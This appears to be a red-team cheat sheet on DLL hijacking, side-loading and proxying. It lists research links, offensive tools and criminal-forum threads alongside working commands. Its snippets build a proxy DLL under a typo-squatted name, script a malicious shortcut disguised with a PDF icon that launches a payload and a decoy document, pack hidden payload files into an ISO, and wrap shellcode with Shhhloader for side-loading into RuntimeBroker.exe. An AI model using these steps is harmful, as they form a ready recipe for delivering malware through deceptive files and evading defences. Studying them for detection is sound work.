DLL Hijacking

DLL Hijacking / DLL Side-Loading / DLL Proxying

• https://hijacklibs.net/

• https://github.com/XForceIR/SideLoadHunter/tree/main/SideLoads

• https://dec0ne.github.io/research/2021-04-26-DLL-Proxying-pt1/

• https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/

• https://besteffortteam.it/onedrive-and-teams-dll-hijacking/

• https://www.binarydefense.com/resources/blog/demystifying-dll-hijacking-understanding-the-intricate-world-of-dynamic-link-library-attacks/

• https://xss.is/threads/67021/

• https://xss.is/threads/67718/

• https://www.r-tec.net/r-tec-blog-dll-sideloading.html

Print debug output from a DLL:

#ifdef _DEBUG
#include <stdio.h>
#include <string.h>
#define __FILENAME__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__)
#define DPRINT(...) { \
  fprintf(stderr, "DEBUG: %s:%d:%s(): ", __FILENAME__, __LINE__, __FUNCTION__); \
  fprintf(stderr, __VA_ARGS__); \
}
#else
#define DPRINT(...)
#endif

DLL Side-Loading with ISO Packing

• https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/

• https://blog.sunggwanchoi.com/recreating-an-iso-payload-for-fun-and-no-profit/

• https://github.com/ChoiSG/OneDriveUpdaterSideloading

Generate a proxy DLL with SharpDLLProxy:

Cmd > SharpDllProxy.exe --dll C:\Windows\System32\version.dll --payload OneDrive.Update
Cmd > move output_version\tmp1F94.dll C:\out\vresion.dll

Create a malicious link (also here):

$obj = New-object -ComObject wscript.shell
$link = $obj.createshortcut("C:\Tools\PackMyPayload\out\clickme.lnk")
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13" # PDF ico
$link.arguments = "/c start update.exe & ""%ProgramFiles(x86)%/Microsoft/Edge/Application/msedge.exe"" %cd%/fake.pdf"
$link.save()

Pack all the files into an ISO with PackMyPayload:

PS > python .\PackMyPayload.py .\out\ .\out\a.iso --out-format iso --hide OneDriveStandaloneUpdater.exe,vresion.dll,version.dll,fake.pdf

Unlock DllMain

• https://elliotonsecurity.com/perfect-dll-hijacking/

• https://github.com/ElliotKillick/LdrLockLiberator

• https://elliotonsecurity.com/what-is-loader-lock/

• https://habr.com/ru/articles/792424/

CVE-2025-24076, CVE-2025-24994

• https://blog.compass-security.com/2025/04/3-milliseconds-to-admin-mastering-dll-hijacking-and-hooking-to-win-the-race-cve-2025-24076-and-cve-2025-24994/

Tools

• https://github.com/monoxgas/Koppeling

DLL Proxying

• https://github.com/Flangvik/SharpDllProxy

• https://github.com/tothi/dll-hijack-by-proxying

• https://github.com/kagasu/ProxyDllGenerator

• https://github.com/namazso/dll-proxy-generator

• https://github.com/mrexodia/perfect-dll-proxy

Shhhloader

• https://github.com/icyguider/Shhhloader

$ ./Shhhloader.py -p RuntimeBroker.exe -d -dp vresion.dll -o version.dll -s domain -sa megacorp.local shellcode.bin